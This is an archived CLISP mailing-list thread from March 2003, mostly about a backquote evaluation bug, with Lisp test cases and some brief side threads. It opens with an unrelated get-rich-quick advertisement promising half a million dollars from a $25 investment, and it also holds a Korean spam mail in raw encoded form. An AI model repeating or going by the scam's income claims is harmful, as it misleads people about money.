A One Time Investment Of $25 Plus This Simple Technology
Could Make You Financially Secure For Life!

Just Because This  Is Easy doesn't mean it's not Honest, or a Real Business.  You can keep
Working Hard
or Learn to Work Smart. What do you think Successful People Do?

This is a completely documented method to Get Wealthy and Anyone regardless of Age, Race, State of Health, Country of origin, or Financial Standing can participate. No Education or Special Experience is needed. Within the next two weeks you could be well on your way to a $500,000.00 income. Imagine being able to make over a half million dollars every 4 to 5 months from your home.

THANK'S TO THE COMPUTER AGE AND THE INTERNET!

TO LEARN MORE ABOUT THIS PROGRAM Click Here HURRY BEFORE THIS OFFER ENDS!

PART 1 OF 2

This message is sent in compliance of the proposed bill SECTION 301, paragraph (a)(2)(C) of S. 1618.
       to be removed from this mailing, please utilize our remove link here

From kaz@footprints.net Fri Mar 07 20:47:53 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18rWF1-0005jK-00 for ; Fri, 07 Mar 2003 20:47:23 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18rWEQ-0003sO-00; Fri, 07 Mar 2003 20:46:46 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Strange backquote bug, or so I think. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 7 20:48:03 2003 X-Original-Date: Fri, 7 Mar 2003 20:46:46 -0800 (PST) I've known about this issue quite some time. It's either a bug, or there is some subtlety about backquotes that I don't understand. ;;; expected result: (FOO `(BAR (BAZ 'A A) (BAZ 'B B) (BAZ 'C C))) ;;; CLISP result: (FOO `(BAR NIL NIL NIL NIL)) (defun breaks-on-clisp () (let ((list '(a b c d))) `(foo `(bar ,@',(mapcar #'(lambda (sym) `(baz ',sym ,sym)) list))))) ;;; moving (mapcar ...) to a function fixes it: (defun factored-out (list) (mapcar #'(lambda (sym) `(baz ',sym ,sym)) list)) (defun does-not-break () (let ((list '(a b c d))) `(foo `(bar ,@',(factored-out list))))) It looks like backquote is confused; it's doing something wrong with the `(baz ',sym ,sym) even though that occurs in a doubly-unquoted context. You can see that MAPCAR iterates the right number of times, but the lambda is returning NIL for some bizarre reason. From kaz@footprints.net Sat Mar 08 19:01:48 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18rr3u-0001rA-00 for ; Sat, 08 Mar 2003 19:01:18 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18rr3P-0001XU-00; Sat, 08 Mar 2003 19:00:47 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Strange backquote bug, or so I think. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 8 19:02:04 2003 X-Original-Date: Sat, 8 Mar 2003 19:00:47 -0800 (PST) On Fri, 7 Mar 2003, Kaz Kylheku wrote: > I've known about this issue quite some time. It's either a bug, > or there is some subtlety about backquotes that I don't understand. I have more information that may be useful. Firstly, here is a smaller piece of code that reproduces the problem: (let ((x 3)) ``,,`,x) ==> `,NIL Secondly, I have a suspicion that this has to do with the third parameter of the SYSTEM::BACKQUOTE form being deleted. Check this out; suppose we manually construct a backquote form like this: (list 'system::backquote (list 'system::unquote 3)) ==> `,3 It looks good when printed, right? But a third element is missing that is needed by the system::backquote evaluator, but not the pretty-printer, so when we do this: (eval (list 'system::backquote (list 'system::unquote 3))) ==> NIL Ooops, the value should be 3! Now let's put in that missing third element, but let's lie with a wrong value just for dramatic effect: (eval (list 'system::backquote (list 'system::unquote 3) 42)) ==> 42 Clearly, the value comes from the third element. My suspicion is that when a form like (let ((x 3)) ``,,`,x) is processed, the inner-most `,x expression is somehow translated into a SYSTEM::BACKQUOTE form with a missing third element. In the backquote.lisp implementation file there is a remove-backquote-third function which does the job of recursively stripping these third elements; perhaps it is involved in some way, such as being inappropriately applied or whatever. Hope this helps. I'm trying to debug this myself, but I can't read German, so I'm slow! ;) From kaz@footprints.net Sat Mar 08 19:27:50 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18rrT5-0006VH-00 for ; Sat, 08 Mar 2003 19:27:19 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18rrSb-0001gB-00; Sat, 08 Mar 2003 19:26:49 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Strange backquote bug, or so I think. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 8 19:28:04 2003 X-Original-Date: Sat, 8 Mar 2003 19:26:49 -0800 (PST) On Sat, 8 Mar 2003, Kaz Kylheku wrote: > > I've known about this issue quite some time. It's either a bug, > > or there is some subtlety about backquotes that I don't understand. > > I have more information that may be useful. Firstly, here is a smaller > piece of code that reproduces the problem: > > (let ((x 3)) ``,,`,x) > > ==> `,NIL Even smaller, doh: ``,,`,3 ==> `,NIL Now for some really strange stuff: what is hiding behind the above `,NIL form? Here is a trick: if we coerce it to a vector, the guts become visible: (coerce ``,,`,3 'vector) ==> #(SYSTEM::BACKQUOTE (SYSTEM::UNQUOTE NIL) 3) The third element *is* there, but the unquote form is screwed! So this actually works: (eval ``,,`,3) ==> 3 Whee! (eval `,NIL) is 3. From master@89894.com Sat Mar 08 21:48:06 2003 Received: from [218.147.125.173] (helo=89894.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18rtfI-0001Gu-00 for ; Sat, 08 Mar 2003 21:48:04 -0800 Message-ID: <176120-22003261518111453@89894.com> X-EM-Version: 6, 0, 0, 4 X-EM-Registration: #0010630410721500AB30 Reply-To: master@89894.com From: "½Å¿ë ö" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=KS_C_5601-1987 Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] (±¤°í)¾Æ´Ï! ÀÌ ¹«½¼ ³¿»õ......???@ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 8 21:49:01 2003 X-Original-Date: Sun, 16 Feb 2003 03:01:11 +0900

=C1=A4=BA=B8=C5=EB=BD=C5=BA=CE =B1=C7=B0=ED =BB=E7=C7=D7=BF= =A1 =C0=C7=B0=C5 =C1=A6=B8=F1=BF=A1 [=B1=A4=B0=ED]=B6=F3=B0=ED =C7=A5=B1=E2=C7=D1 =B1=A4=B0=ED =B8=DE=C0= =CF=C0=D4=B4=CF=B4=D9=2E
=BC=F6=BD=C5=C0=BB =BF=F8=C4=A1 =BE=CA=C0=B8=BD= =C3=B8=E9 = =BC=F6=BD=C5=B0=C5=BA=CE=B8=A6 =B4=AD=B7=AF=C1=D6=BC=BC=BF=E4

 

(=B1=A4=B0=ED)=BE=C6=B4=CF!  =C0=CC =B9=AB=BD=BC=20 =B3=BF=BB=F5=2E=2E=2E=2E=2E=2E???@

 

=

=B9=E6=C7=E2=C1=A6=20 =B6=A7=B9=AE=BF=A1 =B8=D3=B8=AE=B0=A1 =BE=C6=C7=C1=BD=C3=C1=D2=2E=2E=2E!  =20 =C0=CC=B7=B8=B0=D4 =C7=CF=BD=C3=B8=E9 =B5=CB=B4=CF=B4=D9=2E<= /SPAN>

 

=B8= =F0=B5=E7=20 =B3=BF=BB=F5 =BE=C7=C3=EB=C1=A6=B0=C5 =C0=FC=B9=AE=2E=2E= =2E=2E=2E=2E

=C3=B5=BF=AC=BF=F8=B7=E1=20 =C1=A6=C7=B0=C0=B8=B7=CE =C0=CE=C3=BC =C0=FC=BF=AC =B9=AB=C7=D8=C7=CF=B0=ED= =C0=DA=BF=AC =C4=A3=C8=AD=C0=FB=C0=CE =C1=A6=C7=B0=C0=B8=B7=CE =B5=CE=C5=EB= =C0=BB =C0=AF=B9=DF=C7=CF=C1=F6 =BE=CA=BD=C0=B4=CF=B4=D9=2E=2E=2E=2E=2E

=B4=E3=B9=E8=B3=BF=BB=F5, =C0=BD=BD=C4=B3=BF=BB= =F5, =B0=F5=C6=CE=C0=CC=B3=BF=BB=F5, =B0=F5=C6=CE=C0=CC=BC=BC=B1=D5, =B9=AB= =C1=BB=B1=D5, =B9=DF=B3=BF=BB=F5, =C0=CE=C3=BC=B3=BF=BC=BC, =B5=C8=C0=E5=B1=B9=B3=BF=BB=F5= , =C3=BB=B1=B9=C0=E5=B3=BF=BB=F5,=20 =C0=CE=C5=D7=B8=AE=BE=EE =B3=BB=C0=E5=C0=E7 =B3=BF=BB=F5,

=C7=CF=BC=F6=B1=B8=B3=BF=BB=F5, =B0=A2=C1=BE =C4= =FB=C4=FB=C7=D1 =B3=BF=BB=F5, =BD=C2=BF=EB=C2=F7=BE=C8=C0=C7 =B3=BF=BB=F5,= =B0=A1=C3=E0=B3=BF=BB=F5, =B0=A1=C3=E0 =BA=D0=B4=A2=B3=BF=BB=F5, =C8=AD=C0= =E5=BD=C7=B3=BF=BB=F5, =BE=B2=B7=B9=B1=E2=B3=BF=BB=F5,=20 =BE=B2=B7=B9=B1=E2=C0=E5 =BE=C7=C3=EB,=

=C1=A4=C8=AD=C1=B6 =B3=BF=BB=F5, =BA=B4=BF=F8 = =C0=D4=BF=F8=BD=C7=B3=BF=BB=F5, =C1=F6=C7=CF=BD=C7 =C4=FB=C4=FB=C7=D1=20 =B3=BF=BB=F5,

=C0=CC =B8=F0=B5=E7 =B3=BF=BB=F5=BF=CD =BE=C7=C3=EB=B8=A6 =B1=D9=BF= =F8=C0=FB=C0=B8=B7=CE =BA=D0=C7=D8 =C1=A6=B0=C5=C7=CF=B8=E7 =B0=A2=C1=BE =BC= =BC=B1=D5=C0=BB =BB=EC=B1=D5=C3=B3=B8=AE=C7=D5=B4=CF=B4=D9=2E=2E=2E=2E

 

 

www=2E89894=2Ecom  =BF=A1=BC=AD

 

=B3=BF=BB=F5=BF=F8=C0=BB =C1=A6=B0=C5=C7=D1=B5=DA =C0=DA=BF=AC=C7= =E2=C0=BB =C0=BA=C0=BA=C7=CF=B0=D4 =C7=B3=B1=E2=BE=EE =C1=DD=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

%%%  =20 =C3=DF=BB=E7   %%%

 

=C1=A6=C7=B0=C0=BB=20 =B1=B8=C0=D4=C7=CF=BD=C5=BA=D0=BF=A1 =C7=D1=C7=D8=BC=AD cafe=2Edaum=2Enet/106030 =B9=AB=C7=D1=B5=BF=B7=C2 =C4=AB=C6=E4=BF=A1 =C4=AB=C5=D7=B0=ED=B8=AE =C8=B8=BF=F8 =B5=EE=B7=CF=B6=F5=C0=BB =C5=AC=B8=AF= =C7=CF=B0=ED =B5=E9=BE=EE=B0=A1=BC=AD=20 =B1=DB=C0=BB=B3=B2=B0=DC=B3=F5=C0=B8=BD=C3=B8=E9 =B9=AB=C7=D1=B5=BF=B7=C2 = =B0=B3=B9=DF=C0=BB(=B3=E2=B8=BB=BE=C8=BF=A1 =BF=CF=B7=E1=BF=B9=C1=A4) =BF=CF= =B7=E1=C8=C4 =C3=A2=BE=F7 =C1=D6=C1=D6=B0=A1=B5=C7=BD=C7=BC=F6=C0=D6=B4=C2 =BF=EC=BC=B1=B1=C7 =B9=D7= =C0=DA=B0=DD=C0=CC=20 =C1=D6=BE=EE=C1=FD=B4=CF=B4=D9=2E=2E=2E

 

  ^^**^^    ^^**^^   =20 ^^**^^

 

=BC=EE=C7=CE=B8=F4     :=20=0D www=2E89894=2Ecom

=C0=FC  =20 =C8=AD     :=20 031-394-0045   hp :=20 011-281-1434   =BD=C5  =BF=EB =20 =C3=B6

=B9=AB=C7=D1 =B5=BF=B7=C2 :=20 cafe=2Edaum=2Enet/106030

 

=B0=A8=BB=E7 =C7=D5=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

$EmailTo,= $EmailName,=20 $EmailFrom =B6=C7=B4=C2 $Domain

[=B1=A4=B0=ED]=BE=C6=B4=CF!  =C0=CC =B9=AB=BD=BC=20 =B3=BF=BB=F5=2E=2E=2E=2E=2E=2E???

 

=

=B9=E6=C7=E2=C1=A6=20 =B6=A7=B9=AE=BF=A1 =B8=D3=B8=AE=B0=A1 =BE=C6=C7=C1=BD=C3=C1=D2=2E=2E=2E!  =20 =C0=CC=B7=B8=B0=D4 =C7=CF=BD=C3=B8=E9 =B5=CB=B4=CF=B4=D9=2E<= /SPAN>

 

=B8= =F0=B5=E7=20 =B3=BF=BB=F5 =BE=C7=C3=EB=C1=A6=B0=C5 =C0=FC=B9=AE=2E=2E= =2E=2E=2E=2E

=C3=B5=BF=AC=BF=F8=B7=E1=20 =C1=A6=C7=B0=C0=B8=B7=CE =C0=CE=C3=BC =C0=FC=BF=AC =B9=AB=C7=D8=C7=CF=B0=ED= =C0=DA=BF=AC =C4=A3=C8=AD=C0=FB=C0=CE =C1=A6=C7=B0=C0=B8=B7=CE =B5=CE=C5=EB= =C0=BB =C0=AF=B9=DF=C7=CF=C1=F6 =BE=CA=BD=C0=B4=CF=B4=D9=2E=2E=2E=2E=2E

=B4=E3=B9=E8=B3=BF=BB=F5, =C0=BD=BD=C4=B3=BF=BB= =F5, =B0=F5=C6=CE=C0=CC=B3=BF=BB=F5, =B0=F5=C6=CE=C0=CC=BC=BC=B1=D5, =B9=AB= =C1=BB=B1=D5, =B9=DF=B3=BF=BB=F5, =C0=CE=C3=BC=B3=BF=BC=BC, =B5=C8=C0=E5=B1=B9=B3=BF=BB=F5= , =C3=BB=B1=B9=C0=E5=B3=BF=BB=F5,=20 =C0=CE=C5=D7=B8=AE=BE=EE =B3=BB=C0=E5=C0=E7 =B3=BF=BB=F5,

=C7=CF=BC=F6=B1=B8=B3=BF=BB=F5, =B0=A2=C1=BE =C4= =FB=C4=FB=C7=D1 =B3=BF=BB=F5, =BD=C2=BF=EB=C2=F7=BE=C8=C0=C7 =B3=BF=BB=F5,= =B0=A1=C3=E0=B3=BF=BB=F5, =B0=A1=C3=E0 =BA=D0=B4=A2=B3=BF=BB=F5, =C8=AD=C0= =E5=BD=C7=B3=BF=BB=F5, =BE=B2=B7=B9=B1=E2=B3=BF=BB=F5,=20 =BE=B2=B7=B9=B1=E2=C0=E5 =BE=C7=C3=EB,=

=C1=A4=C8=AD=C1=B6 =B3=BF=BB=F5, =BA=B4=BF=F8 = =C0=D4=BF=F8=BD=C7=B3=BF=BB=F5, =C1=F6=C7=CF=BD=C7 =C4=FB=C4=FB=C7=D1=20 =B3=BF=BB=F5,

=C0=CC =B8=F0=B5=E7 =B3=BF=BB=F5=BF=CD =BE=C7=C3=EB=B8=A6 =B1=D9=BF= =F8=C0=FB=C0=B8=B7=CE =BA=D0=C7=D8 =C1=A6=B0=C5=C7=CF=B8=E7 =B0=A2=C1=BE =BC= =BC=B1=D5=C0=BB =BB=EC=B1=D5=C3=B3=B8=AE=C7=D5=B4=CF=B4=D9=2E=2E=2E=2E

 

 

www=2E89894=2Ecom  =BF=A1=BC=AD

 

=B3=BF=BB=F5=BF=F8=C0=BB =C1=A6=B0=C5=C7=D1=B5=DA =C0=DA=BF=AC=C7= =E2=C0=BB =C0=BA=C0=BA=C7=CF=B0=D4 =C7=B3=B1=E2=BE=EE =C1=DD=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

%%%  =20 =C3=DF=BB=E7   %%%

 

=C1=A6=C7=B0=C0=BB=20 =B1=B8=C0=D4=C7=CF=BD=C5=BA=D0=BF=A1 =C7=D1=C7=D8=BC=AD cafe=2Edaum=2Enet/106030 =B9=AB=C7=D1=B5=BF=B7=C2 =C4=AB=C6=E4=BF=A1 =C4=AB=C5=D7=B0=ED=B8=AE =C8=B8=BF=F8 =B5=EE=B7=CF=B6=F5=C0=BB =C5=AC=B8=AF= =C7=CF=B0=ED =B5=E9=BE=EE=B0=A1=BC=AD=20 =B1=DB=C0=BB=B3=B2=B0=DC=B3=F5=C0=B8=BD=C3=B8=E9 =B9=AB=C7=D1=B5=BF=B7=C2 = =B0=B3=B9=DF=C0=BB(=B3=E2=B8=BB=BE=C8=BF=A1 =BF=CF=B7=E1=BF=B9=C1=A4) =BF=CF= =B7=E1=C8=C4 =C3=A2=BE=F7 =C1=D6=C1=D6=B0=A1=B5=C7=BD=C7=BC=F6=C0=D6=B4=C2 =BF=EC=BC=B1=B1=C7 =B9=D7= =C0=DA=B0=DD=C0=CC=20 =C1=D6=BE=EE=C1=FD=B4=CF=B4=D9=2E=2E=2E

 

  ^^**^^    ^^**^^   =20 ^^**^^

 

=BC=EE=C7=CE=B8=F4     :=20 www=2E89894=2Ecom

=C0=FC  =20 =C8=AD     :=20 031-394-0045   hp :=20 011-281-1434   =BD=C5  =BF=EB =20 =C3=B6

=B9=AB=C7=D1 =B5=BF=B7=C2 :=20 cafe=2Edaum=2Enet/106030

 

=B0=A8=BB=E7 =C7=D5=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

 

 

From a.bignoli@computer.org Sun Mar 09 07:40:41 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18s2um-0005mC-00 for ; Sun, 09 Mar 2003 07:40:40 -0800 Received: from ghimel.fauser.it (IDENT:0@pool1-ip16.fauser.it [80.20.153.81]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id QAA16479 for ; Sun, 9 Mar 2003 16:37:10 +0100 (MET) Received: from dalet.fauser.it (IDENT:0@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.12.8/8.12.8) with ESMTP id h29FeMDF000424 for ; Sun, 9 Mar 2003 16:40:22 +0100 Received: from dalet.fauser.it (IDENT:1000@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.8/8.12.8) with ESMTP id h29FYDek000977 for ; Sun, 9 Mar 2003 16:34:13 +0100 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.8/8.12.8/Submit) id h29FYD0J000971; Sun, 9 Mar 2003 16:34:13 +0100 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15979.24309.484346.187606@dalet.fauser.it> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under Emacs 21.2.1 Subject: [clisp-list] Using docbook for CLOS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 9 07:41:09 2003 X-Original-Date: Sun, 9 Mar 2003 16:34:13 +0100 The following message has been posted to the Docbook mailing list. Maybe the maintainers of CLISP documentation could be interested. > From: Henrik Motakef > Sender: henrik.motakef@web.de > To: james anderson > Cc: docbook@lists.oasis-open.org > Subject: Re: DOCBOOK: using docbook for CLOS > Date: Thu, 06 Mar 2003 23:05:20 +0100 > > james anderson writes: > > > is anyone using docbook to encode documentation for clos-based systems? > > The SBCL folks use docbook for their documentation, maybe one of them > can help. > > IIRC, they are not all too happy with it, and CLOS might be a reason > why. Incidentally, I recently started to think about extending docbook > to be a better fit for CL documentation, but a) I don't know if it's a > good idea yet, b) I don't really have anything to show (I'm not > exactly a docbook god, a cl-docbook would serve the two goals of > helping me document CL stuff and learning more about docbook at the > same time for me). > > Regards > Henrik From lisp-clisp-list@m.gmane.org Sun Mar 09 11:23:35 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18s6OT-0005fn-00 for ; Sun, 09 Mar 2003 11:23:34 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18s6No-0006wc-00 for ; Sun, 09 Mar 2003 20:22:52 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18s6Nn-0006wQ-00 for ; Sun, 09 Mar 2003 20:22:51 +0100 From: Sam Steingold Organization: disorganization Lines: 34 Message-ID: References: <15979.24309.484346.187606@dalet.fauser.it> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Using docbook for CLOS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 9 11:24:05 2003 X-Original-Date: 09 Mar 2003 14:23:50 -0500 > * In message <15979.24309.484346.187606@dalet.fauser.it> > * On the subject of "Using docbook for CLOS" > * Sent on Sun, 9 Mar 2003 16:34:13 +0100 > * Honorable Aurelio Bignoli writes: > > The following message has been posted to the Docbook mailing > list. Maybe the maintainers of CLISP documentation could be > interested. I read that mailing list via Gmane but I cannot post because it is a closed mailing list (and I no longer subscribe to non-mailman mailing lists because I do not have the time and inclination to figure out the commands of every idiosyncratic mailing list handler - ezml/majordomo &c...) If you are subscribed, please send them the following note: CLISP uses DocBook/XML for its implementation notes. See CLOCC/cllib/clhs.lisp generates DocBook/XML entities, see Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Those who value Life above Freedom are destined to lose both. From lisp-clisp-list@m.gmane.org Sun Mar 09 11:30:59 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18s6Ve-0006Ru-00 for ; Sun, 09 Mar 2003 11:30:58 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18s6Uy-0007MD-00 for ; Sun, 09 Mar 2003 20:30:16 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18s6Oe-0006z5-00 for ; Sun, 09 Mar 2003 20:23:44 +0100 From: Sam Steingold Organization: disorganization Lines: 24 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org Cc: Arseny Slobodjuck X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: socket-wait problem on WinXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 9 11:31:05 2003 X-Original-Date: 09 Mar 2003 14:24:43 -0500 > * In message > * On the subject of "socket-wait problem on WinXP" > * Sent on Thu, 6 Mar 2003 18:14:21 +0900 (KST) > * Honorable Jamison Masse writes: > > The attached code is a test case intended to isolate this problem I > have been having with connecting multiple clients to a server. I want > to occasionally poll the socket to see if there are any clients > waiting for a connection. Under linux this code loops until a > connection is made by a client, as expected, but under WinXP the loop > never terminates, the client connects and is holding a connection to > the server but the server code doesn't acknowledge the connection. Is > this a bug? > > The WinXP machine is running Clisp 2.30 and WinXP SP-1 Arseny, could you please debug this? Thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux cogito cogito ergo cogito sum From kaz@footprints.net Sun Mar 09 12:31:57 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18s7S8-00024w-00 for ; Sun, 09 Mar 2003 12:31:24 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18s7Rb-0007eX-00; Sun, 09 Mar 2003 12:30:51 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Strange backquote bug, or so I think. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 9 12:32:10 2003 X-Original-Date: Sun, 9 Mar 2003 12:30:51 -0800 (PST) On Sat, 8 Mar 2003, Kaz Kylheku wrote: > Secondly, I have a suspicion that this has to do with the third > parameter of the SYSTEM::BACKQUOTE form being deleted. Indeed this is the problem, witness: Bug, where is the (LIST X)? ``,,(coerce '`(,x) 'vector)) ==> `,#(SYSTEM::BACKQUOTE ((SYSTEM::UNQUOTE X))) Normal behavior, third element is there: (coerce '`(,x) 'vector) ==> #(SYSTEM::BACKQUOTE ((SYSTEM::UNQUOTE X)) (LIST X)) So it looks like there are at least two bugs: in some cases the third element of the SYSTEM::BACKUOTE form is being eaten, and in some other cases, the second element is mangled to contain a NIL: (coerce ``,,`,3 'vector) ; note: backquote is evaluated ==> #(SYSTEM::BACKQUOTE (SYSTEM::UNQUOTE NIL) 3) This second bug is not quite as serious; it must means that the printed representation of the backquote is wrong, but it evaluates right. But obviously if you are spitting data out to text and expecting to read it back, and it contains a backquote that was wrongly printed as ',NIL rather than ',, that is a problem. From sds@gnu.org Sun Mar 09 14:43:12 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18s9Vf-0004hN-00 for ; Sun, 09 Mar 2003 14:43:11 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop017.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030309224304.LAFY2095.pop017.verizon.net@loiso.podval.org>; Sun, 9 Mar 2003 16:43:04 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h29MhPTx016838; Sun, 9 Mar 2003 17:43:25 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h29MhN57016834; Sun, 9 Mar 2003 17:43:23 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.48.207] at Sun, 9 Mar 2003 16:43:03 -0600 Subject: [clisp-list] Re: Strange backquote bug, or so I think. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 9 14:44:05 2003 X-Original-Date: 09 Mar 2003 17:43:23 -0500 > * In message > * On the subject of "Re: Strange backquote bug, or so I think." > * Sent on Sat, 8 Mar 2003 19:00:47 -0800 (PST) > * Honorable Kaz Kylheku writes: > > I'm trying to debug this myself, but I can't read German, so I'm slow! > ;) Mirian Lennox translated the comments in backquote.lisp on 2003-01-18. thus, the current CVS head has comments in English. Good luck! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Man has 2 states: hungry/angry and sate/sleepy. Catch him in transition. From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 10 00:38:16 2003 Received: from mail1.telekom.de 